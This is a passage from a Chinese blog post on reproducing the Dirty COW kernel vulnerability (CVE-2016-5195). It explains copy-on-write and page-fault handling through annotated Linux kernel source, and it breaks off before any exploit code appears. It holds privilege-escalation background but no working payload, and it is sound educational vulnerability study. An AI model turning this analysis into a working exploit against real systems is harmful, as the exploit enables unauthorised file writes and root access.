CVE-2016-5195复现
196082 慢慢好起来

前言

CVE-2016-5195就是非常出名的Dirty COW,俗称脏牛漏洞。攻击者可以通过Linux Kernel中的COW ( copy-on-write )机制利用条件竞争实现越权对文件读写。

此漏洞自从Linux Kernel 2.6.22版本就存在,直到2018年Linux Kernel 4.8.3, 4.7.9, 4.4.26版本才被修复。其实这一个CVE应当是一个初学者复现的第一个CVE的,但是可笑的是我是知道今年四五月份时阿里实习生二面的时候才听说过,所以被狠狠的刷了。然而作为一条懒狗我也是硬拖到现在才进行复现,然而在之前我尝试过复现一次不过因为电脑性能跑不出poc就放弃了,因为最近又要开始各种面试所以又要开始学习很多东西了。

COW机制

basic COW

COW 即 copy on write:目的是为了降低系统的开销,在一个进程通过fork()创建一个子进程时,并不会直接将父进程的所有地址空间的所有内容复制再分配给子进程。而实际的机制为父进程与子进程共享所有的页框,而不是直接给子进程分配新的页框,只有当其中任意一方尝试向页框写入内容时内核才会为其分配页框,并将原本内框的内容复制过去

  1. fork()系统调用后,父子进程会共享所有的页框,内核将所有的页框定义为read-only
  2. 由于所有页框都是只读的权限,当其中任意一方尝试修改页框时便会触发缺页异常,此时内核会为其分配新的页框。

image-20230807101650345

image-20230807101734100

image-20230807101837765

以上就是写时复制的基本流程,大大的减少了系统的开销。

mmap 与 COW

在上文中想必各位都看到了一个非常熟悉的词缺页异常,其实在原先的文章中我们已经遇到过了缺页异常也是常用的userfaultfd机制。然而当时我们创建的是PROT_READ|PROT_WRITE,当我们映射一个只有读权限的文件,若是我们此时向映射中写入内容时同样会触发写时复制的机制,将文件内容拷贝到内存中,此时进程对这块区域的读写便不会影响磁盘中的文件了。

缺页异常&write

在以前写过的userfaultfd这一利用方法的时候并没有分析过缺页异常的原理更别提源码分析了,所以这次正好写一下。

在CPU中使用MMU进行虚拟内存和物理内存之间的映射,然而在系统中并不是所有的虚拟内存页面都有对应的物理内存页,当软件试图访问已经被映射在虚拟内存中,但是并没有被加载到物理内存中的一个分页时,MMU无法完成由虚拟内存到物理内存之间的转化,此时便会产生缺页异常

分类

那么触发缺页异常主要有以下三种情况:

  1. 线性地址不在虚拟地址空间中
  2. 线性地址在虚拟地址空间中,但是权限不够
  3. 线性地址在虚拟地址空间中,但是没有与物理地址之间建立映射

其类型主要分为以下三种:

  1. 软性缺页异常

    软性缺页异常指的是相关页已经被载入到了内存中,但是并没有在MMU中注册,此时只需要向MMU注册相关的物理页即可。

    主要出现在以下两种情况:

    1. 两个进程共享相同的物理页框,内核为其中一个注册了物理页,但是没有为另外一个注册
    2. 该页已经被CPU的工作集中移除,但是尚未交换到磁盘上,若是程序重新使用该页则另需向MMU注册
  2. 硬性缺页异常

    硬性缺页异常则意味着使用的页并没有被载入到内存中,此时操作系统则需要讲一个合适并且空闲的物理页载入进内存中,随后向该页中写入内容,并在MMU中注册。硬性缺页异常的开销极大,因此部分操作系统也会采取延迟页载入的策略——只有到万不得已时才会分配新的物理页,这也是 Linux 内核的做法。若是频繁地发生硬性缺页异常则会引发系统颠簸,因资源耗尽而无法正常完成工作。

  3. 无效缺页异常

    意味着进程访问了一个无效的内存地址,此时kernel会向进程发送SIGSEGV信号。

处理缺页异常

针对文本的缺页异常处理的流程如下:

1
__do_page_fault() => __handle_mm_fault() => handle_pte_fault() => do_fault() => do_read_fault()/do_ww_fault()/do_shared_fault()

从头往后看,首先看__do_page_fault函数。

__do_page_fault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
static noinline void
__do_page_fault(struct pt_regs *regs, unsigned long error_code,
unsigned long address)
{
struct vm_area_struct *vma;
struct task_struct *tsk;
struct mm_struct *mm;
int fault, major = 0;
unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;

tsk = current;
mm = tsk->mm;

/*
* Detect and handle instructions that would cause a page fault for
* both a tracked kernel page and a userspace page.
*/
if (kmemcheck_active(regs))
kmemcheck_hide(regs);
prefetchw(&mm->mmap_sem);

if (unlikely(kmmio_fault(regs, address)))
return;

/*
* We fault-in kernel-space virtual memory on-demand. The
* 'reference' page table is init_mm.pgd.
*
* NOTE! We MUST NOT take any locks for this case. We may
* be in an interrupt or a critical region, and should
* only copy the information from the master page table,
* nothing more.
*
* This verifies that the fault happens in kernel space
* (error_code & 4) == 0, and that the fault was not a
* protection error (error_code & 9) == 0.
*/
if (unlikely(fault_in_kernel_space(address))) {
if (!(error_code & (PF_RSVD | PF_USER | PF_PROT))) {
if (vmalloc_fault(address) >= 0)
return;

if (kmemcheck_fault(regs, address, error_code))
return;
}

/* Can handle a stale RO->RW TLB: */
if (spurious_fault(error_code, address))
return;

/* kprobes don't want to hook the spurious faults: */
if (kprobes_fault(regs))
return;
/*
* Don't take the mm semaphore here. If we fixup a prefetch
* fault we could otherwise deadlock:
*/
bad_area_nosemaphore(regs, error_code, address);

return;
}

/* kprobes don't want to hook the spurious faults: */
if (unlikely(kprobes_fault(regs)))
return;

if (unlikely(error_code & PF_RSVD))
pgtable_bad(regs, error_code, address);

if (unlikely(smap_violation(error_code, regs))) {
bad_area_nosemaphore(regs, error_code, address);
return;
}

/*
* If we're in an interrupt, have no user context or are running
* in a region with pagefaults disabled then we must not take the fault
*/
if (unlikely(faulthandler_disabled() || !mm)) {
bad_area_nosemaphore(regs, error_code, address);
return;
}

/*
* It's safe to allow irq's after cr2 has been saved and the
* vmalloc fault has been handled.
*
* User-mode registers count as a user access even for any
* potential system fault or CPU buglet:
*/
if (user_mode(regs)) {
local_irq_enable();
error_code |= PF_USER;
flags |= FAULT_FLAG_USER;
} else {
if (regs->flags & X86_EFLAGS_IF)
local_irq_enable();
}

perf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, regs, address);

if (error_code & PF_WRITE)
flags |= FAULT_FLAG_WRITE;

/*
* When running in the kernel we expect faults to occur only to
* addresses in user space. All other faults represent errors in
* the kernel and should generate an OOPS. Unfortunately, in the
* case of an erroneous fault occurring in a code path which already
* holds mmap_sem we will deadlock attempting to validate the fault
* against the address space. Luckily the kernel only validly
* references user space from well defined areas of code, which are
* listed in the exceptions table.
*
* As the vast majority of faults will be valid we will only perform
* the source reference check when there is a possibility of a
* deadlock. Attempt to lock the address space, if we cannot we then
* validate the source. If this is invalid we can skip the address
* space check, thus avoiding the deadlock:
*/
if (unlikely(!down_read_trylock(&mm->mmap_sem))) {
if ((error_code & PF_USER) == 0 &&
!search_exception_tables(regs->ip)) {
bad_area_nosemaphore(regs, error_code, address);
return;
}
retry:
down_read(&mm->mmap_sem);
} else {
/*
* The above down_read_trylock() might have succeeded in
* which case we'll have missed the might_sleep() from
* down_read():
*/
might_sleep();
}

vma = find_vma(mm, address);
if (unlikely(!vma)) {
bad_area(regs, error_code, address);
return;
}
if (likely(vma->vm_start <= address))
goto good_area;
if (unlikely(!(vma->vm_flags & VM_GROWSDOWN))) {
bad_area(regs, error_code, address);
return;
}
if (error_code & PF_USER) {
/*
* Accessing the stack below %sp is always a bug.
* The large cushion allows instructions like enter
* and pusha to work. ("enter $65535, $31" pushes
* 32 pointers and then decrements %sp by 65535.)
*/
if (unlikely(address + 65536 + 32 * sizeof(unsigned long) < regs->sp)) {
bad_area(regs, error_code, address);
return;
}
}
if (unlikely(expand_stack(vma, address))) {
bad_area(regs, error_code, address);
return;
}

/*
* Ok, we have a good vm_area for this memory access, so
* we can handle it..
*/
good_area:
if (unlikely(access_error(error_code, vma))) {
bad_area_access_error(regs, error_code, address);
return;
}

/*
* If for any reason at all we couldn't handle the fault,
* make sure we exit gracefully rather than endlessly redo
* the fault. Since we never set FAULT_FLAG_RETRY_NOWAIT, if
* we get VM_FAULT_RETRY back, the mmap_sem has been unlocked.
*/
fault = handle_mm_fault(mm, vma, address, flags);
major |= fault & VM_FAULT_MAJOR;

/*
* If we need to retry the mmap_sem has already been released,
* and if there is a fatal signal pending there is no guarantee
* that we made any progress. Handle this case first.
*/
if (unlikely(fault & VM_FAULT_RETRY)) {
/* Retry at most once */
if (flags & FAULT_FLAG_ALLOW_RETRY) {
flags &= ~FAULT_FLAG_ALLOW_RETRY;
flags |= FAULT_FLAG_TRIED;
if (!fatal_signal_pending(tsk))
goto retry;
}

/* User mode? Just return to handle the fatal exception */
if (flags & FAULT_FLAG_USER)
return;

/* Not returning to user mode? Handle exceptions or die: */
no_context(regs, error_code, address, SIGBUS, BUS_ADRERR);
return;
}

up_read(&mm->mmap_sem);
if (unlikely(fault & VM_FAULT_ERROR)) {
mm_fault_error(regs, error_code, address, fault);
return;
}

/*
* Major/minor page fault accounting. If any of the events
* returned VM_FAULT_MAJOR, we account it as a major fault.
*/
if (major) {
tsk->maj_flt++;
perf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1, regs, address);
} else {
tsk->min_flt++;
perf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1, regs, address);
}

check_v8086_mode(regs, address, tsk);
}
NOKPROBE_SYMBOL(__do_page_fault);

首先需要知道的是vma表示的是线性区描述符,tsk表示的是很熟悉的task_struct,mm也是前面文章中提到过的mm_struct

1
unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;

首先通过这样一条语句初始化flags,随后初始化上述的变量。

1
2
if (unlikely(fault_in_kernel_space(address))) {
if (!(error_code & (PF_RSVD | PF_USER | PF_PROT))){

通过这条语句以及验证error_code判断缺页异常是否发生在内核空间,而PF_RSVD | PF_USER | PF_PROT的含义分别表示页表项保留 | 用户页异常 | 页保护异常。如果判断结果认定为内核地址空间发生的缺页则使用vmalloc_fault(address)进行处理。

随后还是主要分析用户态的缺页异常。

1
2
if (unlikely(error_code & PF_RSVD))
pgtable_bad(regs, error_code, address);

如果使用了页表项保留的标识位则代表是页表错误并进行处理。

1
2
3
4
if (unlikely(smap_violation(error_code, regs))) {
bad_area_nosemaphore(regs, error_code, address);
return;
}

这一步则是验证是否出发了smap保护,如果是则直接杀死进程。

1
2
3
4
if (unlikely(faulthandler_disabled() || !mm)) {
bad_area_nosemaphore(regs, error_code, address);
return;
}

这里验证了时候开启了缺页不处理或者是不存在用户空间。

1
2
3
4
5
6
7
8
if (user_mode(regs)) {
local_irq_enable();
error_code |= PF_USER;
flags |= FAULT_FLAG_USER;
} else {
if (regs->flags & X86_EFLAGS_IF)
local_irq_enable();
}

判断寄存器发生缺页时是否为用户态寄存器,紧接着发送终端请求,然后设置error_codeflags为用户空间发生的缺页。

1
2
if (error_code & PF_WRITE)
flags |= FAULT_FLAG_WRITE;

判断是否是在写的时候发生的,如果是的话则给flags添加相应的标识位。

1
2
3
4
5
6
7
8
9
10
11
if (unlikely(!down_read_trylock(&mm->mmap_sem))) {
if ((error_code & PF_USER) == 0 &&
!search_exception_tables(regs->ip)) {
bad_area_nosemaphore(regs, error_code, address);
return;
}
retry:
down_read(&mm->mmap_sem);
} else {
might_sleep();
}

随后对mm_struct上锁,如果上锁失败并且发现是内核空间的异常则杀死进程,成功则继续。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
vma = find_vma(mm, address);
if (unlikely(!vma)) {
bad_area(regs, error_code, address);
return;
}
if (likely(vma->vm_start <= address))
goto good_area;
if (unlikely(!(vma->vm_flags & VM_GROWSDOWN))) {
bad_area(regs, error_code, address);
return;
}
if (error_code & PF_USER) {
if (unlikely(address + 65536 + 32 * sizeof(unsigned long) < regs->sp)) {
bad_area(regs, error_code, address);
return;
}
}
if (unlikely(expand_stack(vma, address))) {
bad_area(regs, error_code, address);
return;
}

在这里则是搜线搜索到地址对应的vma,如果vma不存在则杀死进程。如果使用的线性地址大于vma->vm_start则进入good_area。如果不是则进入下一个if,判断当前的vma是否为堆栈区,如果不是则直接杀死进程。紧接着验证是否为用户空间的缺页,如果是则紧接着是对栈的一个判断。后续则是增长线性区,如果失败也杀死进程。

1
2
3
4
5
6
7
good_area:
if (unlikely(access_error(error_code, vma))) {
bad_area_access_error(regs, error_code, address);
return;
}
fault = handle_mm_fault(mm, vma, address, flags);
major |= fault & VM_FAULT_MAJOR;

运行到这里先是判断一下error_code与vma是否冲突,如果不冲突则进入分配物理页的核心函数handle_mm_fault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (unlikely(fault & VM_FAULT_RETRY)) {
if (flags & FAULT_FLAG_ALLOW_RETRY) {
flags &= ~FAULT_FLAG_ALLOW_RETRY;
flags |= FAULT_FLAG_TRIED;
if (!fatal_signal_pending(tsk))
goto retry;
}

if (flags & FAULT_FLAG_USER)
return;

no_context(regs, error_code, address, SIGBUS, BUS_ADRERR);
return;
}

这里判断是否需要充实,如果需要重试,那么进一步判断在开始初始化的flags中是否包含标志位FAULT_FLAG_ALLOW_RETRY,如果有的话则进行充实,并且擦出掉flags中的允许充实标识为,并且添加FAULT_FLAG_TRIED标志位。

handle_mm_fault

这个函数的中的真正处理函数其实是__handle_mm_fault,所以直接看其中的这个函数吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
static int __handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, unsigned int flags)
{
pgd_t *pgd;
pud_t *pud;
pmd_t *pmd;
pte_t *pte;

if (unlikely(is_vm_hugetlb_page(vma)))
return hugetlb_fault(mm, vma, address, flags);

pgd = pgd_offset(mm, address);
pud = pud_alloc(mm, pgd, address);
if (!pud)
return VM_FAULT_OOM;
pmd = pmd_alloc(mm, pud, address);
if (!pmd)
return VM_FAULT_OOM;
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma)) {
int ret = create_huge_pmd(mm, vma, address, pmd, flags);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
pmd_t orig_pmd = *pmd;
int ret;

barrier();
if (pmd_trans_huge(orig_pmd)) {
unsigned int dirty = flags & FAULT_FLAG_WRITE;

/*
* If the pmd is splitting, return and retry the
* the fault. Alternative: wait until the split
* is done, and goto retry.
*/
if (pmd_trans_splitting(orig_pmd))
return 0;

if (pmd_protnone(orig_pmd))
return do_huge_pmd_numa_page(mm, vma, address,
orig_pmd, pmd);

if (dirty && !pmd_write(orig_pmd)) {
ret = wp_huge_pmd(mm, vma, address, pmd,
orig_pmd, flags);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
huge_pmd_set_accessed(mm, vma, address, pmd,
orig_pmd, dirty);
return 0;
}
}
}

/*
* Use __pte_alloc instead of pte_alloc_map, because we can't
* run pte_offset_map on the pmd, if an huge pmd could
* materialize from under us from a different thread.
*/
if (unlikely(pmd_none(*pmd)) &&
unlikely(__pte_alloc(mm, vma, pmd, address)))
return VM_FAULT_OOM;
/* if an huge pmd materialized from under us just retry later */
if (unlikely(pmd_trans_huge(*pmd)))
return 0;
/*
* A regular pmd is established and it can't morph into a huge pmd
* from under us anymore at this point because we hold the mmap_sem
* read mode and khugepaged takes it in write mode. So now it's
* safe to run pte_offset_map().
*/
pte = pte_offset_map(pmd, address);

return handle_pte_fault(mm, vma, address, pte, pmd, flags);
}

相信看过我前面那篇文章的都不会陌生pgd | pud | pmd | pte这四个页表,他们分表表示的是页全局目录|页上级目录|页中间目录|页表项,这个函数中首先则是通过mm获取到pgd页全局目录,随后生成pud和pmd并为pmd创建中间项,在最后货渠道pte并进入到处理函数handle_pte_fault中。

handle_pte_fault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
static int handle_pte_fault(struct mm_struct *mm,
struct vm_area_struct *vma, unsigned long address,
pte_t *pte, pmd_t *pmd, unsigned int flags)
{
pte_t entry;
spinlock_t *ptl;

/*
* some architectures can have larger ptes than wordsize,
* e.g.ppc44x-defconfig has CONFIG_PTE_64BIT=y and CONFIG_32BIT=y,
* so READ_ONCE or ACCESS_ONCE cannot guarantee atomic accesses.
* The code below just needs a consistent view for the ifs and
* we later double check anyway with the ptl lock held. So here
* a barrier will do.
*/
entry = *pte;
barrier();
if (!pte_present(entry)) {
if (pte_none(entry)) {
if (vma_is_anonymous(vma))
return do_anonymous_page(mm, vma, address,
pte, pmd, flags);
else
return do_fault(mm, vma, address, pte, pmd,
flags, entry);
}
return do_swap_page(mm, vma, address,
pte, pmd, flags, entry);
}

if (pte_protnone(entry))
return do_numa_page(mm, vma, address, entry, pte, pmd);

ptl = pte_lockptr(mm, pmd);
spin_lock(ptl);
if (unlikely(!pte_same(*pte, entry)))
goto unlock;
if (flags & FAULT_FLAG_WRITE) {
if (!pte_write(entry))
return do_wp_page(mm, vma, address,
pte, pmd, ptl, entry);
entry = pte_mkdirty(entry);
}
entry = pte_mkyoung(entry);
if (ptep_set_access_flags(vma, address, pte, entry, flags & FAULT_FLAG_WRITE)) {
update_mmu_cache(vma, address, pte);
} else {
/*
* This is needed only for protection faults but the arch code
* is not yet telling us if this is a protection fault or not.
* This still avoids useless tlb flushes for .text page faults
* with threads.
*/
if (flags & FAULT_FLAG_WRITE)
flush_tlb_fix_spurious_fault(vma, address);
}
unlock:
pte_unmap_unlock(pte, ptl);
return 0;
}

函数开头初始化entry为pte的内存页然后我们继续逐行分析。

1
2
3
4
5
6
7
8
9
10
11
12
if (!pte_present(entry)) {
if (pte_none(entry)) {
if (vma_is_anonymous(vma))
return do_anonymous_page(mm, vma, address,
pte, pmd, flags);
else
return do_fault(mm, vma, address, pte, pmd,
flags, entry);
}
return do_swap_page(mm, vma, address,
pte, pmd, flags, entry);
}

首先判断页表是否存在于主存中,接着判断是否为none,如果为空则表示第一次访问该页,那么继续进入判断vma是否为匿名区,如果不是则执行do_fault返回物理页。如果该页不为空,软性缺页异常中的第二种情况,代表该页以前存在于主存中但是被调出了。

程序继续往后执行,下方代表的是内存页存在于主存中时的情况。

首先则是先加了一层锁spin_lock(ptl);

1
2
3
4
5
6
7
if (flags & FAULT_FLAG_WRITE) {
if (!pte_write(entry))
return do_wp_page(mm, vma, address,
pte, pmd, ptl, entry);
entry = pte_mkdirty(entry);
}
entry = pte_mkyoung(entry);

首先通过flags判断是否是应为写操作引起的缺页异常,紧接着看对应的页是否可写,如果不可写则进入do_wp_page函数中。后续就是将该页标脏和标上已经访问过。

经过上述流程不难发现当一个进程首次访问一个不可写的内存页时会触发两次缺页异常,一次是页不存在于主存中的情况,第二次是下面存在于主存的情况。

那么首先我们先看第一次进入的情况,此时处理的函数为do_fault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
unsigned int flags, pte_t orig_pte)
{
pgoff_t pgoff = (((address & PAGE_MASK)
- vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;

pte_unmap(page_table);
/* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */
if (!vma->vm_ops->fault)
return VM_FAULT_SIGBUS;
if (!(flags & FAULT_FLAG_WRITE))
return do_read_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte);
if (!(vma->vm_flags & VM_SHARED))
return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte);
return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte);
}

主要就是下面判断,如果是非写的操作引起的异常则进入do_read_fault函数,如果是非共享内存引起的异常则进入do_cow_fault,如果是因为共享内存引起的异常则进入do_shared_fault函数中去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd,
pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
struct page *fault_page, *new_page;
struct mem_cgroup *memcg;
spinlock_t *ptl;
pte_t *pte;
int ret;

if (unlikely(anon_vma_prepare(vma)))
return VM_FAULT_OOM;

new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);
if (!new_page)
return VM_FAULT_OOM;

if (mem_cgroup_try_charge(new_page, mm, GFP_KERNEL, &memcg)) {
page_cache_release(new_page);
return VM_FAULT_OOM;
}

ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page);
if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY)))
goto uncharge_out;

if (fault_page)
copy_user_highpage(new_page, fault_page, address, vma);
__SetPageUptodate(new_page);

pte = pte_offset_map_lock(mm, pmd, address, &ptl);
if (unlikely(!pte_same(*pte, orig_pte))) {
pte_unmap_unlock(pte, ptl);
if (fault_page) {
unlock_page(fault_page);
page_cache_release(fault_page);
} else {
/*
* The fault handler has no page to lock, so it holds
* i_mmap_lock for read to protect against truncate.
*/
i_mmap_unlock_read(vma->vm_file->f_mapping);
}
goto uncharge_out;
}
do_set_pte(vma, address, new_page, pte, true, true);
mem_cgroup_commit_charge(new_page, memcg, false);
lru_cache_add_active_or_unevictable(new_page, vma);
pte_unmap_unlock(pte, ptl);
if (fault_page) {
unlock_page(fault_page);
page_cache_release(fault_page);
} else {
/*
* The fault handler has no page to lock, so it holds
* i_mmap_lock for read to protect against truncate.
*/
i_mmap_unlock_read(vma->vm_file->f_mapping);
}
return ret;
uncharge_out:
mem_cgroup_cancel_charge(new_page, memcg);
page_cache_release(new_page);
return ret;
}

根据名字可以看出来这个函数是我们比较关注的函数,new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);首先则就是创建一个物理页。ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page);这里读取文件的内容到fault_page中去。

1
2
if (fault_page)
copy_user_highpage(new_page, fault_page, address, vma);

随后在这里将fault_page中的内容拷贝到new_page中去。

if (unlikely(!pte_same(*pte, orig_pte))) 这里验证pte和orig_ptr是否一致,如果不一致则表示pte中途被修改过那么直接释放两个内存页之后退出。

do_set_pte(vma, address, new_page, pte, true, true);在这里设置pte中的标志位并且标上dirty标志位,不过因为会检测文件是否为可写如果不是则不会标记上write,最后释放fault_page结束函数。

在进行完第一步之后如果页面不可写的话就会进入到第二步中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
spinlock_t *ptl, pte_t orig_pte)
__releases(ptl)
{
struct page *old_page;

old_page = vm_normal_page(vma, address, orig_pte);
if (!old_page) {
/*
* VM_MIXEDMAP !pfn_valid() case, or VM_SOFTDIRTY clear on a
* VM_PFNMAP VMA.
*
* We should not cow pages in a shared writeable mapping.
* Just mark the pages writable and/or call ops->pfn_mkwrite.
*/
if ((vma->vm_flags & (VM_WRITE|VM_SHARED)) ==
(VM_WRITE|VM_SHARED))
return wp_pfn_shared(mm, vma, address, page_table, ptl,
orig_pte, pmd);

pte_unmap_unlock(page_table, ptl);
return wp_page_copy(mm, vma, address, page_table, pmd,
orig_pte, old_page);
}

/*
* Take out anonymous pages first, anonymous shared vmas are
* not dirty accountable.
*/
if (PageAnon(old_page) && !PageKsm(old_page)) {
if (!trylock_page(old_page)) {
page_cache_get(old_page);
pte_unmap_unlock(page_table, ptl);
lock_page(old_page);
page_table = pte_offset_map_lock(mm, pmd, address,
&ptl);
if (!pte_same(*page_table, orig_pte)) {
unlock_page(old_page);
pte_unmap_unlock(page_table, ptl);
page_cache_release(old_page);
return 0;
}
page_cache_release(old_page);
}
if (reuse_swap_page(old_page)) {
/*
* The page is all ours. Move it to our anon_vma so
* the rmap code will not search our parent or siblings.
* Protected against the rmap code by the page lock.
*/
page_move_anon_rmap(old_page, vma, address);
unlock_page(old_page);
return wp_page_reuse(mm, vma, address, page_table, ptl,
orig_pte, old_page, 0, 0);
}
unlock_page(old_page);
} else if (unlikely((vma->vm_flags & (VM_WRITE|VM_SHARED)) ==
(VM_WRITE|VM_SHARED))) {
return wp_page_shared(mm, vma, address, page_table, pmd,
ptl, orig_pte, old_page);
}

/*
* Ok, we need to copy. Oh, well..
*/
page_cache_get(old_page);

pte_unmap_unlock(page_table, ptl);
return wp_page_copy(mm, vma, address, page_table, pmd,
orig_pte, old_page);
}

首先通过old_page = vm_normal_page(vma, address, orig_pte);获取缺页的线性地址对应的struct page结构,对于一些特殊映射的页面(如页面回收、页迁移和KSM等),内核并不希望这些页参与到内存管理的一些流程当中,称之为special mapping,并无对应的struct page结构体。

紧接着判断是否为special mapping,如果是则会进入if分支,当然我们这里不是。

随后判断页面是否为匿名页并且不为KSM,如果成立并且可以成功上锁则进入以下语句。

1
2
3
4
5
6
if (reuse_swap_page(old_page)) {
page_move_anon_rmap(old_page, vma, address);
unlock_page(old_page);
return wp_page_reuse(mm, vma, address, page_table, ptl,
orig_pte, old_page, 0, 0);
}

其中首先通过reuse_swap_page判断是否只有一个进程在使用该页,如果是则直接调用wp_page_reuse函数重用该页。如果以上的所有都没满足则进入最后的无法重用进行写时复制。

那么以上就是COW的全部流程了,接下来分析一下write函数。

write函数分析

具体流程其实就是:

1
sys_write() => vfs_write() => __vfs_write() => file->f_op->write() => mem_write() => mem_rw()

mem_rw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
struct mm_struct *mm = file->private_data;
unsigned long addr = *ppos;
ssize_t copied;
char *page;

if (!mm)
return 0;

page = (char *)__get_free_page(GFP_TEMPORARY);
if (!page)
return -ENOMEM;

copied = 0;
if (!atomic_inc_not_zero(&mm->mm_users))
goto free;

while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE);

if (write && copy_from_user(page, buf, this_len)) {
copied = -EFAULT;
break;
}

this_len = access_remote_vm(mm, addr, page, this_len, write);
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}

if (!write && copy_to_user(buf, page, this_len)) {
copied = -EFAULT;
break;
}

buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
}
*ppos = addr;

mmput(mm);
free:
free_page((unsigned long) page);
return copied;
}

这里的流程还是听清晰的,首先就是获取一个临时的内存页,紧接着将用户空间的内容放到临时的内存页中即可,接着利用access_remote_vm函数访问内存,然后后面是如果不是写的话就返回内容到用户空间,最后释放临时内存页。

access_remote_vm

access_remote_vm函数其实就是__access_remote_vm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
unsigned long addr, void *buf, int len, int write)
{
struct vm_area_struct *vma;
void *old_buf = buf;

down_read(&mm->mmap_sem);
/* ignore errors, just check how much was successfully transferred */
while (len) {
int bytes, ret, offset;
void *maddr;
struct page *page = NULL;

ret = get_user_pages(tsk, mm, addr, 1,
write, 1, &page, &vma);
if (ret <= 0) {
#ifndef CONFIG_HAVE_IOREMAP_PROT
break;
#else
/*
* Check if this is a VM_IO | VM_PFNMAP VMA, which
* we can access using slightly different code.
*/
vma = find_vma(mm, addr);
if (!vma || vma->vm_start > addr)
break;
if (vma->vm_ops && vma->vm_ops->access)
ret = vma->vm_ops->access(vma, addr, buf,
len, write);
if (ret <= 0)
break;
bytes = ret;
#endif
} else {
bytes = len;
offset = addr & (PAGE_SIZE-1);
if (bytes > PAGE_SIZE-offset)
bytes = PAGE_SIZE-offset;

maddr = kmap(page);
if (write) {
copy_to_user_page(vma, page, addr,
maddr + offset, buf, bytes);
set_page_dirty_lock(page);
} else {
copy_from_user_page(vma, page, addr,
buf, maddr + offset, bytes);
}
kunmap(page);
page_cache_release(page);
}
len -= bytes;
buf += bytes;
addr += bytes;
}
up_read(&mm->mmap_sem);

return buf - old_buf;
}

这里通过ret = get_user_pages(tsk, mm, addr, 1, write, 1, &page, &vma);获取到对应目标的内存页。然后通过maddr = kmap(page);建立映射,最后在copy_to_user_page(vma, page, addr, maddr + offset, buf, bytes);中写入。

那么其中最为重要的即为get_user_pages函数

__get_user_pages

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
